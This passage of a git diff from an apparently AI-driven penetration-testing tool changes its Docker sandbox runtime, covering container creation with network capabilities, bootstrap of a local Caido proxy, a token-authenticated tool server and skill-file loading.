backend don't need the docker-py library installed.
``session.start()`` is what materializes the manifest entries
(LocalDir copies and manifest-declared volume/FUSE mounts) into the
running container the SDK's ``client.create()`` only builds the inner
session object without applying the manifest. ``async with session:``
would call it too, but Strix manages session lifetime explicitly via
``client.delete()`` so we trigger ``start()`` ourselves.
``bind_mounts`` are host directories (e.g. large repos passed via
``--mount``) bind-mounted read-only; unlike manifest entries they are
applied by Docker at container-create time, not by ``start()``.
"""
import docker
from agents.sandbox.sandboxes.docker import DockerSandboxClientOptions
from strix.runtime.docker_client import StrixDockerSandboxClient
client = StrixDockerSandboxClient(docker.from_env())
client.strix_bind_mounts = bind_mounts or []
options = DockerSandboxClientOptions(image=image, exposed_ports=exposed_ports)
session = await client.create(options=options, manifest=manifest)
await session.start()
return client, session
_BACKENDS: dict[str, SandboxBackend] = {
"docker": _docker_backend,
}
def get_backend(name: str) -> SandboxBackend:
"""Return the backend factory for ``name`` or raise.
Args:
name: Backend identifier (e.g. ``"docker"``). Match is exact;
no fallback. Unknown values raise so config typos surface
immediately instead of silently picking a default.
"""
backend = _BACKENDS.get(name)
if backend is None:
supported = ", ".join(sorted(_BACKENDS))
raise ValueError(
f"Unknown STRIX_RUNTIME_BACKEND: {name!r} (supported: {supported})",
)
logger.debug("Selected sandbox backend: %s", name)
return backend
def register_backend(name: str, backend: SandboxBackend) -> None:
"""Register a custom backend under ``name``.
Intended for downstream users who ship their own runtime register
before any ``session_manager.create_or_reuse`` call. Re-registering
an existing name overwrites the prior entry.
"""
_BACKENDS[name] = backend
logger.info("Registered sandbox backend: %s", name)
def supported_backends() -> list[str]:
return sorted(_BACKENDS)
-101
View File
@@ -1,101 +0,0 @@
"""Caido client bootstrap.
The Caido CLI runs as an in-container sidecar listening on
``127.0.0.1:48080`` *inside* the sandbox. We grab a guest token by
``session.exec()``-ing curl from inside the container, then construct
a host-side :class:`caido_sdk_client.Client` against the runtime's
exposed-port URL for all subsequent SDK calls.
"""
from __future__ import annotations
import asyncio
import json
import logging
from typing import TYPE_CHECKING
from caido_sdk_client import Client, TokenAuthOptions
from caido_sdk_client.types import CreateProjectOptions
if TYPE_CHECKING:
from agents.sandbox.session import BaseSandboxSession
logger = logging.getLogger(__name__)
_LOGIN_AS_GUEST_BODY = (
'{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}'
)
async def _login_as_guest(
session: BaseSandboxSession,
*,
container_url: str,
attempts: int = 10,
) -> str:
"""``session.exec`` curl to fetch a guest token; retry until ready.
Caido's GraphQL listener may not be up the instant the container
starts. The retry loop also doubles as the Caido readiness probe
no separate TCP healthcheck needed.
"""
last_err: str | None = None
for i in range(1, attempts + 1):
result = await session.exec(
"curl",
"-fsS",
"-X",
"POST",
"-H",
"Content-Type: application/json",
"-d",
_LOGIN_AS_GUEST_BODY,
f"{container_url}/graphql",
timeout=15,
)
if result.ok():
try:
payload = json.loads(result.stdout)
token = (
payload.get("data", {})
.get("loginAsGuest", {})
.get("token", {})
.get("accessToken")
)
if token:
return str(token)
last_err = f"loginAsGuest returned no token: {payload}"
except json.JSONDecodeError as exc:
last_err = f"unparseable response: {exc}: {result.stdout!r}"
else:
stderr = result.stderr.decode("utf-8", errors="replace")[:200]
last_err = f"curl exit {result.exit_code}: {stderr}"
logger.debug("loginAsGuest attempt %d/%d failed: %s", i, attempts, last_err)
await asyncio.sleep(min(2.0 * i, 8.0))
raise RuntimeError(f"loginAsGuest failed after {attempts} attempts: {last_err}")
async def bootstrap_caido(
session: BaseSandboxSession,
*,
host_url: str,
container_url: str,
) -> Client:
"""Connect to the in-container Caido sidecar and select a fresh project."""
logger.info("Bootstrapping Caido client (host=%s, container=%s)", host_url, container_url)
access_token = await _login_as_guest(session, container_url=container_url)
client = Client(host_url, auth=TokenAuthOptions(token=access_token))
await client.connect()
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
logger.info("Caido project selected: %s", project.id)
return client
-153
View File
@@ -1,153 +0,0 @@
"""StrixDockerSandboxClient — preserves the image's ENTRYPOINT and adds
NET_ADMIN/NET_RAW capabilities + host-gateway.
The SDK's ``DockerSandboxClient._create_container`` does not expose a hook for
extending ``create_kwargs`` before ``containers.create`` is called. We subclass
and reimplement the method body verbatim from the SDK source, with three
deltas:
1. Drop the SDK's ``entrypoint=["tail"]`` override; supply ``["tail", "-f",
"/dev/null"]`` as ``command`` instead. This lets our image's
``docker-entrypoint.sh`` actually run without it, ``caido-cli`` never
starts inside the container and ``bootstrap_caido`` retries against a
dead port.
2. Append NET_ADMIN/NET_RAW to ``cap_add`` (required by ``nmap -sS`` and
other raw-socket tools).
3. Add ``host.docker.internal`` host-gateway to ``extra_hosts`` so the
agent can reach host-served apps.
Pinned to ``openai-agents==0.14.6``. Bumping the SDK requires
re-merging the parent body. Track upstream for an injection hook.
"""
from __future__ import annotations
import contextlib
import logging
import uuid
from typing import Any
from agents.sandbox.manifest import Manifest
from agents.sandbox.sandboxes.docker import (
DockerSandboxClient,
_build_docker_volume_mounts,
_docker_port_key,
_manifest_requires_fuse,
_manifest_requires_sys_admin,
)
from agents.sandbox.session.sandbox_session import SandboxSession
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from docker.models.containers import Container # type: ignore[import-untyped, unused-ignore]
from docker.types import Mount as DockerSDKMount # type: ignore[import-untyped, unused-ignore]
from docker.utils import parse_repository_tag # type: ignore[import-untyped, unused-ignore]
logger = logging.getLogger(__name__)
class StrixDockerSandboxClient(DockerSandboxClient):
# Host directories to bind-mount into the container, set by the docker
# backend before ``create()``. Each item is ``{source, target, read_only}``.
strix_bind_mounts: list[dict[str, Any]] | None = None
async def _create_container(
self,
image: str,
*,
manifest: Manifest | None = None,
exposed_ports: tuple[int, ...] = (),
session_id: uuid.UUID | None = None,
) -> Container:
# ----- BEGIN VERBATIM COPY of DockerSandboxClient._create_container -----
# SDK ref: src/agents/sandbox/sandboxes/docker.py:1434-1477 (v0.14.6).
if not self.image_exists(image):
repo, tag = parse_repository_tag(image)
self.docker_client.images.pull(repo, tag=tag or None, all_tags=False)
assert self.image_exists(image)
environment: dict[str, str] | None = None
if manifest:
environment = await manifest.environment.resolve()
# Strix delta from the SDK body: drop ``entrypoint`` override and
# supply ``tail -f /dev/null`` as ``command`` so the image's
# ENTRYPOINT (``docker-entrypoint.sh``) runs setup, then ``exec
# "$@"`` becomes ``exec tail -f /dev/null`` for the keep-alive.
# Without this, caido-cli + the in-container CA trust never get
# initialized.
create_kwargs: dict[str, Any] = {
"image": image,
"detach": True,
"command": ["tail", "-f", "/dev/null"],
"environment": environment,
}
if manifest is not None:
docker_mounts = _build_docker_volume_mounts(
manifest,
session_id=session_id,
)
if docker_mounts:
create_kwargs["mounts"] = docker_mounts
if _manifest_requires_fuse(manifest):
create_kwargs.update(
devices=["/dev/fuse"],
cap_add=["SYS_ADMIN"],
security_opt=["apparmor:unconfined"],
)
elif _manifest_requires_sys_admin(manifest):
create_kwargs.update(
cap_add=["SYS_ADMIN"],
security_opt=["apparmor:unconfined"],
)
if exposed_ports:
create_kwargs["ports"] = {
_docker_port_key(port): ("127.0.0.1", None) for port in exposed_ports
}
# ----- END VERBATIM COPY -----
# Strix injections — append, don't overwrite, so FUSE/SYS_ADMIN survives.
cap_add = create_kwargs.setdefault("cap_add", [])
if not isinstance(cap_add, list):
cap_add = list(cap_add)
create_kwargs["cap_add"] = cap_add
for cap in ("NET_ADMIN", "NET_RAW"):
if cap not in cap_add:
cap_add.append(cap)
extra_hosts = create_kwargs.setdefault("extra_hosts", {})
extra_hosts["host.docker.internal"] = "host-gateway"
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
# that bypass the SDK's file-by-file LocalDir copy.
bind_mounts = getattr(self, "strix_bind_mounts", ())
if bind_mounts:
mounts = create_kwargs.setdefault("mounts", [])
for spec in bind_mounts:
mounts.append(
DockerSDKMount(
target=spec["target"],
source=spec["source"],
type="bind",
read_only=spec.get("read_only", True),
)
)
logger.debug(
"Creating sandbox container: image=%s caps=%s exposed_ports=%s",
image,
cap_add,
list(exposed_ports),
)
container = self.docker_client.containers.create(**create_kwargs)
logger.info(
"Sandbox container created: id=%s image=%s",
container.short_id if hasattr(container, "short_id") else "?",
image,
)
return container
async def delete(self, session: SandboxSession) -> SandboxSession:
container_id = getattr(getattr(session._inner, "state", None), "container_id", None)
if container_id:
with contextlib.suppress(docker_errors.NotFound, docker_errors.APIError):
self.docker_client.containers.get(container_id).kill()
return await super().delete(session)
+352
View File
@@ -0,0 +1,352 @@
import contextlib
import os
import secrets
import socket
import time
from pathlib import Path
from typing import cast
import docker
import httpx
from docker.errors import DockerException, ImageNotFound, NotFound
from docker.models.containers import Container
from requests.exceptions import ConnectionError as RequestsConnectionError
from requests.exceptions import Timeout as RequestsTimeout
from strix.config import Config
from . import SandboxInitializationError
from .runtime import AbstractRuntime, SandboxInfo
HOST_GATEWAY_HOSTNAME = "host.docker.internal"
DOCKER_TIMEOUT = 60
CONTAINER_TOOL_SERVER_PORT = 48081
CONTAINER_CAIDO_PORT = 48080
class DockerRuntime(AbstractRuntime):
def __init__(self) -> None:
try:
self.client = docker.from_env(timeout=DOCKER_TIMEOUT)
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
raise SandboxInitializationError(
"Docker is not available",
"Please ensure Docker Desktop is installed and running.",
) from e
self._scan_container: Container | None = None
self._tool_server_port: int | None = None
self._tool_server_token: str | None = None
self._caido_port: int | None = None
def _find_available_port(self) -> int:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("", 0))
return cast("int", s.getsockname()[1])
def _get_scan_id(self, agent_id: str) -> str:
try:
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer and tracer.scan_config:
return str(tracer.scan_config.get("scan_id", "default-scan"))
except (ImportError, AttributeError):
pass
return f"scan-{agent_id.split('-')[0]}"
def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:
for attempt in range(max_retries):
try:
image = self.client.images.get(image_name)
if not image.id or not image.attrs:
raise ImageNotFound(f"Image {image_name} metadata incomplete") # noqa: TRY301
except (ImageNotFound, DockerException):
if attempt == max_retries - 1:
raise
time.sleep(2**attempt)
else:
return
def _recover_container_state(self, container: Container) -> None:
for env_var in container.attrs["Config"]["Env"]:
if env_var.startswith("TOOL_SERVER_TOKEN="):
self._tool_server_token = env_var.split("=", 1)[1]
break
port_bindings = container.attrs.get("NetworkSettings", {}).get("Ports", {})
port_key = f"{CONTAINER_TOOL_SERVER_PORT}/tcp"
if port_bindings.get(port_key):
self._tool_server_port = int(port_bindings[port_key][0]["HostPort"])
caido_port_key = f"{CONTAINER_CAIDO_PORT}/tcp"
if port_bindings.get(caido_port_key):
self._caido_port = int(port_bindings[caido_port_key][0]["HostPort"])
def _wait_for_tool_server(self, max_retries: int = 30, timeout: int = 5) -> None:
host = self._resolve_docker_host()
health_url = f"http://{host}:{self._tool_server_port}/health"
time.sleep(5)
for attempt in range(max_retries):
try:
with httpx.Client(trust_env=False, timeout=timeout) as client:
response = client.get(health_url)
if response.status_code == 200:
data = response.json()
if data.get("status") == "healthy":
return
except (httpx.ConnectError, httpx.TimeoutException, httpx.RequestError):
pass
time.sleep(min(2**attempt * 0.5, 5))
raise SandboxInitializationError(
"Tool server failed to start",
"Container initialization timed out. Please try again.",
)
def _create_container(self, scan_id: str, max_retries: int = 2) -> Container:
container_name = f"strix-scan-{scan_id}"
image_name = Config.get("strix_image")
if not image_name:
raise ValueError("STRIX_IMAGE must be configured")
self._verify_image_available(image_name)
last_error: Exception | None = None
for attempt in range(max_retries + 1):
try:
with contextlib.suppress(NotFound):
existing = self.client.containers.get(container_name)
with contextlib.suppress(Exception):
existing.stop(timeout=5)
existing.remove(force=True)
time.sleep(1)
self._tool_server_port = self._find_available_port()
self._caido_port = self._find_available_port()
self._tool_server_token = secrets.token_urlsafe(32)
execution_timeout = Config.get("strix_sandbox_execution_timeout") or "120"
container = self.client.containers.run(
image_name,
command="sleep infinity",
detach=True,
name=container_name,
hostname=container_name,
ports={
f"{CONTAINER_TOOL_SERVER_PORT}/tcp": self._tool_server_port,
f"{CONTAINER_CAIDO_PORT}/tcp": self._caido_port,
},
cap_add=["NET_ADMIN", "NET_RAW"],
labels={"strix-scan-id": scan_id},
environment={
"PYTHONUNBUFFERED": "1",
"TOOL_SERVER_PORT": str(CONTAINER_TOOL_SERVER_PORT),
"TOOL_SERVER_TOKEN": self._tool_server_token,
"STRIX_SANDBOX_EXECUTION_TIMEOUT": str(execution_timeout),
"HOST_GATEWAY": HOST_GATEWAY_HOSTNAME,
},
extra_hosts={HOST_GATEWAY_HOSTNAME: "host-gateway"},
tty=True,
)
self._scan_container = container
self._wait_for_tool_server()
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
last_error = e
if attempt < max_retries:
self._tool_server_port = None
self._tool_server_token = None
self._caido_port = None
time.sleep(2**attempt)
else:
return container
raise SandboxInitializationError(
"Failed to create container",
f"Container creation failed after {max_retries + 1} attempts: {last_error}",
) from last_error
def _get_or_create_container(self, scan_id: str) -> Container:
container_name = f"strix-scan-{scan_id}"
if self._scan_container:
try:
self._scan_container.reload()
if self._scan_container.status == "running":
return self._scan_container
except NotFound:
self._scan_container = None
self._tool_server_port = None
self._tool_server_token = None
self._caido_port = None
try:
container = self.client.containers.get(container_name)
container.reload()
if container.status != "running":
container.start()
time.sleep(2)
self._scan_container = container
self._recover_container_state(container)
except NotFound:
pass
else:
return container
try:
containers = self.client.containers.list(
all=True, filters={"label": f"strix-scan-id={scan_id}"}
)
if containers:
container = containers[0]
if container.status != "running":
container.start()
time.sleep(2)
self._scan_container = container
self._recover_container_state(container)
return container
except DockerException:
pass
return self._create_container(scan_id)
def _copy_local_directory_to_container(
self, container: Container, local_path: str, target_name: str | None = None
) -> None:
import tarfile
from io import BytesIO
try:
local_path_obj = Path(local_path).resolve()
if not local_path_obj.exists() or not local_path_obj.is_dir():
return
tar_buffer = BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
for item in local_path_obj.rglob("*"):
if item.is_file():
rel_path = item.relative_to(local_path_obj)
arcname = Path(target_name) / rel_path if target_name else rel_path
tar.add(item, arcname=arcname)
tar_buffer.seek(0)
container.put_archive("/workspace", tar_buffer.getvalue())
container.exec_run(
"chown -R pentester:pentester /workspace && chmod -R 755 /workspace",
user="root",
)
except (OSError, DockerException):
pass
async def create_sandbox(
self,
agent_id: str,
existing_token: str | None = None,
local_sources: list[dict[str, str]] | None = None,
) -> SandboxInfo:
scan_id = self._get_scan_id(agent_id)
container = self._get_or_create_container(scan_id)
source_copied_key = f"_source_copied_{scan_id}"
if local_sources and not hasattr(self, source_copied_key):
for index, source in enumerate(local_sources, start=1):
source_path = source.get("source_path")
if not source_path:
continue
target_name = (
source.get("workspace_subdir") or Path(source_path).name or f"target_{index}"
)
self._copy_local_directory_to_container(container, source_path, target_name)
setattr(self, source_copied_key, True)
if container.id is None:
raise RuntimeError("Docker container ID is unexpectedly None")
token = existing_token or self._tool_server_token
if self._tool_server_port is None or self._caido_port is None or token is None:
raise RuntimeError("Tool server not initialized")
host = self._resolve_docker_host()
api_url = f"http://{host}:{self._tool_server_port}"
await self._register_agent(api_url, agent_id, token)
return {
"workspace_id": container.id,
"api_url": api_url,
"auth_token": token,
"tool_server_port": self._tool_server_port,
"caido_port": self._caido_port,
"agent_id": agent_id,
}
async def _register_agent(self, api_url: str, agent_id: str, token: str) -> None:
try:
async with httpx.AsyncClient(trust_env=False) as client:
response = await client.post(
f"{api_url}/register_agent",
params={"agent_id": agent_id},
headers={"Authorization": f"Bearer {token}"},
timeout=30,
)
response.raise_for_status()
except httpx.RequestError:
pass
async def get_sandbox_url(self, container_id: str, port: int) -> str:
try:
self.client.containers.get(container_id)
return f"http://{self._resolve_docker_host()}:{port}"
except NotFound:
raise ValueError(f"Container {container_id} not found.") from None
def _resolve_docker_host(self) -> str:
docker_host = os.getenv("DOCKER_HOST", "")
if docker_host:
from urllib.parse import urlparse
parsed = urlparse(docker_host)
if parsed.scheme in ("tcp", "http", "https") and parsed.hostname:
return parsed.hostname
return "127.0.0.1"
async def destroy_sandbox(self, container_id: str) -> None:
try:
container = self.client.containers.get(container_id)
container.stop()
container.remove()
self._scan_container = None
self._tool_server_port = None
self._tool_server_token = None
self._caido_port = None
except (NotFound, DockerException):
pass
def cleanup(self) -> None:
if self._scan_container is not None:
container_name = self._scan_container.name
self._scan_container = None
self._tool_server_port = None
self._tool_server_token = None
self._caido_port = None
if container_name is None:
return
import subprocess
subprocess.Popen( # noqa: S603
["docker", "rm", "-f", container_name], # noqa: S607
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True,
)
+33
View File
@@ -0,0 +1,33 @@
from abc import ABC, abstractmethod
from typing import TypedDict
class SandboxInfo(TypedDict):
workspace_id: str
api_url: str
auth_token: str | None
tool_server_port: int
caido_port: int
agent_id: str
class AbstractRuntime(ABC):
@abstractmethod
async def create_sandbox(
self,
agent_id: str,
existing_token: str | None = None,
local_sources: list[dict[str, str]] | None = None,
) -> SandboxInfo:
raise NotImplementedError
@abstractmethod
async def get_sandbox_url(self, container_id: str, port: int) -> str:
raise NotImplementedError
@abstractmethod
async def destroy_sandbox(self, container_id: str) -> None:
raise NotImplementedError
def cleanup(self) -> None:
raise NotImplementedError
-163
View File
@@ -1,163 +0,0 @@
"""Per-scan sandbox session lifecycle."""
from __future__ import annotations
import logging
from pathlib import Path
from typing import Any
from agents.sandbox.entries import BaseEntry, LocalDir
from agents.sandbox.manifest import Environment, Manifest
from strix.config import load_settings
from strix.runtime.backends import get_backend
from strix.runtime.caido_bootstrap import bootstrap_caido
logger = logging.getLogger(__name__)
# In-container Caido sidecar port (matches the image's caido-cli bind).
_CONTAINER_CAIDO_PORT = 48080
_SESSION_CACHE: dict[str, dict[str, Any]] = {}
# Manifest root inside the container; entry keys hang off this path.
_WORKSPACE_ROOT = "/workspace"
def build_session_entries(
local_sources: list[dict[str, Any]],
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]]]:
"""Split local sources into copied manifest entries and host bind mounts.
Sources flagged ``mount`` are bind-mounted read-only at
``/workspace/<workspace_subdir>`` (not added to the manifest, so the SDK
does not stream them in file-by-file). Every other source becomes a
``LocalDir`` entry copied into the container as before.
"""
entries: dict[str | Path, BaseEntry] = {}
bind_mounts: list[dict[str, Any]] = []
for src in local_sources:
ws_subdir = src.get("workspace_subdir") or ""
host_path = src.get("source_path") or ""
if not ws_subdir or not host_path:
continue
resolved = Path(host_path).expanduser().resolve()
if src.get("mount"):
bind_mounts.append(
{
"source": str(resolved),
"target": f"{_WORKSPACE_ROOT}/{ws_subdir}",
"read_only": True,
}
)
else:
entries[ws_subdir] = LocalDir(src=resolved)
return entries, bind_mounts
async def create_or_reuse(
scan_id: str,
*,
image: str,
local_sources: list[dict[str, Any]],
) -> dict[str, Any]:
"""Return the existing session bundle for ``scan_id`` or create a new one.
Each ``local_sources`` entry exposes its host ``source_path`` at
``/workspace/<workspace_subdir>`` inside the container copied in, or
bind-mounted read-only when the entry is flagged ``mount``.
"""
cached = _SESSION_CACHE.get(scan_id)
if cached is not None:
logger.info("Reusing existing sandbox session for scan %s", scan_id)
return cached
entries, bind_mounts = build_session_entries(local_sources)
# Caido runs as an in-container sidecar; HTTP(S) traffic from any
# process started via ``session.exec`` (the SDK's Shell tool, etc.)
# picks up these env vars automatically. ``NO_PROXY`` keeps the
# agent-browser CDP daemon's localhost traffic from looping back
# through Caido.
container_caido_url = f"http://127.0.0.1:{_CONTAINER_CAIDO_PORT}"
manifest = Manifest(
entries=entries,
environment=Environment(
value={
"PYTHONUNBUFFERED": "1",
"HOST_GATEWAY": "host.docker.internal",
"http_proxy": container_caido_url,
"https_proxy": container_caido_url,
"ALL_PROXY": container_caido_url,
"NO_PROXY": "localhost,127.0.0.1",
},
),
)
backend_name = load_settings().runtime.backend
backend = get_backend(backend_name)
logger.info(
"Creating sandbox session for scan %s (backend=%s, image=%s)",
scan_id,
backend_name,
image,
)
client, session = await backend(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
caido_endpoint = await session.resolve_exposed_port(_CONTAINER_CAIDO_PORT)
host_caido_url = f"http://{caido_endpoint.host}:{caido_endpoint.port}"
logger.debug("Caido host endpoint resolved: %s", host_caido_url)
caido_client = await bootstrap_caido(
session,
host_url=host_caido_url,
container_url=container_caido_url,
)
bundle = {
"client": client,
"session": session,
"caido_client": caido_client,
}
_SESSION_CACHE[scan_id] = bundle
logger.info("Sandbox session for scan %s ready and cached", scan_id)
return bundle
async def cleanup(scan_id: str) -> None:
"""Tear down ``scan_id``'s container and drop its cache entry.
Best-effort: any error during ``client.delete`` is logged and
swallowed. We never want a cleanup failure to prevent the next
scan from starting; the worst case is a stranded container that
Docker's normal reaping will catch on next ``docker prune``.
"""
bundle = _SESSION_CACHE.pop(scan_id, None)
if bundle is None:
logger.debug("cleanup(%s): no cached session", scan_id)
return
caido_client = bundle.get("caido_client")
if caido_client is not None:
try:
await caido_client.aclose()
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): caido_client.aclose() raised", scan_id, exc_info=True)
try:
await bundle["client"].delete(bundle["session"])
logger.info("Cleaned up sandbox session for scan %s", scan_id)
except Exception:
logger.exception(
"cleanup(%s): client.delete raised; container may need manual reaping",
scan_id,
)
+165
View File
@@ -0,0 +1,165 @@
from __future__ import annotations
import argparse
import asyncio
import os
import signal
import sys
from typing import Any
import uvicorn
from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
from pydantic import BaseModel, ValidationError
SANDBOX_MODE = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
if not SANDBOX_MODE:
raise RuntimeError("Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)")
parser = argparse.ArgumentParser(description="Start Strix tool server")
parser.add_argument("--token", required=True, help="Authentication token")
parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec
parser.add_argument("--port", type=int, required=True, help="Port to bind to")
parser.add_argument(
"--timeout",
type=int,
default=120,
help="Hard timeout in seconds for each request execution (default: 120)",
)
args = parser.parse_args()
EXPECTED_TOKEN = args.token
REQUEST_TIMEOUT = args.timeout
app = FastAPI()
security = HTTPBearer()
security_dependency = Depends(security)
agent_tasks: dict[str, asyncio.Task[Any]] = {}
def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
if not credentials or credentials.scheme != "Bearer":
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid authentication scheme. Bearer token required.",
headers={"WWW-Authenticate": "Bearer"},
)
if credentials.credentials != EXPECTED_TOKEN:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid authentication token",
headers={"WWW-Authenticate": "Bearer"},
)
return credentials.credentials
class ToolExecutionRequest(BaseModel):
agent_id: str
tool_name: str
kwargs: dict[str, Any]
class ToolExecutionResponse(BaseModel):
result: Any | None = None
error: str | None = None
async def _run_tool(agent_id: str, tool_name: str, kwargs: dict[str, Any]) -> Any:
from strix.tools.argument_parser import convert_arguments
from strix.tools.context import set_current_agent_id
from strix.tools.registry import get_tool_by_name
set_current_agent_id(agent_id)
tool_func = get_tool_by_name(tool_name)
if not tool_func:
raise ValueError(f"Tool '{tool_name}' not found")
converted_kwargs = convert_arguments(tool_func, kwargs)
return await asyncio.to_thread(tool_func, **converted_kwargs)
@app.post("/execute", response_model=ToolExecutionResponse)
async def execute_tool(
request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency
) -> ToolExecutionResponse:
verify_token(credentials)
agent_id = request.agent_id
if agent_id in agent_tasks:
old_task = agent_tasks[agent_id]
if not old_task.done():
old_task.cancel()
task = asyncio.create_task(
asyncio.wait_for(
_run_tool(agent_id, request.tool_name, request.kwargs), timeout=REQUEST_TIMEOUT
)
)
agent_tasks[agent_id] = task
try:
result = await task
return ToolExecutionResponse(result=result)
except asyncio.CancelledError:
return ToolExecutionResponse(error="Cancelled by newer request")
except TimeoutError:
return ToolExecutionResponse(error=f"Tool timed out after {REQUEST_TIMEOUT}s")
except ValidationError as e:
return ToolExecutionResponse(error=f"Invalid arguments: {e}")
except (ValueError, RuntimeError, ImportError) as e:
return ToolExecutionResponse(error=f"Tool execution error: {e}")
except Exception as e: # noqa: BLE001
return ToolExecutionResponse(error=f"Unexpected error: {e}")
finally:
if agent_tasks.get(agent_id) is task:
del agent_tasks[agent_id]
@app.post("/register_agent")
async def register_agent(
agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency
) -> dict[str, str]:
verify_token(credentials)
return {"status": "registered", "agent_id": agent_id}
@app.get("/health")
async def health_check() -> dict[str, Any]:
return {
"status": "healthy",
"sandbox_mode": str(SANDBOX_MODE),
"environment": "sandbox" if SANDBOX_MODE else "main",
"auth_configured": "true" if EXPECTED_TOKEN else "false",
"active_agents": len(agent_tasks),
"agents": list(agent_tasks.keys()),
}
def signal_handler(_signum: int, _frame: Any) -> None:
if hasattr(signal, "SIGPIPE"):
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
for task in agent_tasks.values():
task.cancel()
sys.exit(0)
if hasattr(signal, "SIGPIPE"):
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
signal.signal(signal.SIGTERM, signal_handler)
signal.signal(signal.SIGINT, signal_handler)
if __name__ == "__main__":
uvicorn.run(app, host=args.host, port=args.port, log_level="info")
+138 -77
View File
@@ -1,106 +1,167 @@
import logging
import re
from collections.abc import Iterator
from strix.utils.resource_paths import get_strix_resource_path
logger = logging.getLogger(__name__)
_EXCLUDED_CATEGORIES = {"scan_modes", "coordination"}
_FRONTMATTER_PATTERN = re.compile(r"^---\s*\n.*?\n---\s*\n", re.DOTALL)
_INTERNAL_SKILL_CATEGORIES: frozenset[str] = frozenset({"scan_modes", "coordination"})
def _iter_user_skill_files() -> Iterator[tuple[str, str]]:
"""Yield ``(category_name, skill_name)`` for every user-selectable skill."""
skills_dir = get_strix_resource_path("skills")
if not skills_dir.exists():
return
for category_dir in sorted(skills_dir.iterdir()):
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
if category_dir.name in _INTERNAL_SKILL_CATEGORIES:
continue
for file_path in sorted(category_dir.glob("*.md")):
yield category_dir.name, file_path.stem
def get_all_skill_names() -> set[str]:
"""Return every user-selectable skill name (bare, no category prefix)."""
return {name for _, name in _iter_user_skill_files()}
def get_available_skills() -> dict[str, list[str]]:
grouped: dict[str, list[str]] = {}
for category, name in _iter_user_skill_files():
grouped.setdefault(category, []).append(name)
return grouped
skills_dir = get_strix_resource_path("skills")
available_skills: dict[str, list[str]] = {}
if not skills_dir.exists():
return available_skills
for category_dir in skills_dir.iterdir():
if category_dir.is_dir() and not category_dir.name.startswith("__"):
category_name = category_dir.name
if category_name in _EXCLUDED_CATEGORIES:
continue
skills = []
for file_path in category_dir.glob("*.md"):
skill_name = file_path.stem
skills.append(skill_name)
if skills:
available_skills[category_name] = sorted(skills)
return available_skills
def get_all_skill_names() -> set[str]:
all_skills = set()
for category_skills in get_available_skills().values():
all_skills.update(category_skills)
return all_skills
def validate_skill_names(skill_names: list[str]) -> dict[str, list[str]]:
available_skills = get_all_skill_names()
valid_skills = []
invalid_skills = []
for skill_name in skill_names:
if skill_name in available_skills:
valid_skills.append(skill_name)
else:
invalid_skills.append(skill_name)
return {"valid": valid_skills, "invalid": invalid_skills}
def parse_skill_list(skills: str | None) -> list[str]:
if not skills:
return []
return [s.strip() for s in skills.split(",") if s.strip()]
def validate_requested_skills(skill_list: list[str], max_skills: int = 5) -> str | None:
"""Validate a list of user-passed skill names.
Returns ``None`` on success, or a model-readable error message
describing what was wrong (count exceeded, unknown names).
"""
if len(skill_list) > max_skills:
return (
f"Cannot specify more than {max_skills} skills per agent; "
f"got {len(skill_list)}. Aim for 1-3 related skills per specialist."
)
return "Cannot specify more than 5 skills for an agent (use comma-separated format)"
if not skill_list:
return None
available = get_all_skill_names()
invalid = sorted({s for s in skill_list if s not in available})
if invalid:
return f"Invalid skill name(s): {invalid}. Available skills: {sorted(available)}"
validation = validate_skill_names(skill_list)
if validation["invalid"]:
available_skills = list(get_all_skill_names())
return (
f"Invalid skills: {validation['invalid']}. "
f"Available skills: {', '.join(available_skills)}"
)
return None
def load_skills(skill_names: list[str]) -> dict[str, str]:
"""Load skill markdown bodies (frontmatter stripped) by name.
def generate_skills_description() -> str:
available_skills = get_available_skills()
Skill files live at ``strix/skills/<category>/<name>.md``. Names
can be ``"name"`` (any category), ``"category/name"``, or a bare
file at the skills root. Missing skills are logged and skipped.
"""
if not available_skills:
return "No skills available"
all_skill_names = get_all_skill_names()
if not all_skill_names:
return "No skills available"
sorted_skills = sorted(all_skill_names)
skills_str = ", ".join(sorted_skills)
description = f"List of skills to load for this agent (max 5). Available skills: {skills_str}. "
example_skills = sorted_skills[:2]
if example_skills:
example = f"Example: {', '.join(example_skills)} for specialized agent"
description += example
return description
def _get_all_categories() -> dict[str, list[str]]:
"""Get all skill categories including internal ones (scan_modes, coordination)."""
skills_dir = get_strix_resource_path("skills")
all_categories: dict[str, list[str]] = {}
if not skills_dir.exists():
return {}
return all_categories
by_category: dict[str, str] = {}
for category_dir in skills_dir.iterdir():
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
for file_path in category_dir.glob("*.md"):
by_category[file_path.stem] = f"{category_dir.name}/{file_path.stem}.md"
if category_dir.is_dir() and not category_dir.name.startswith("__"):
category_name = category_dir.name
skills = []
for file_path in category_dir.glob("*.md"):
skill_name = file_path.stem
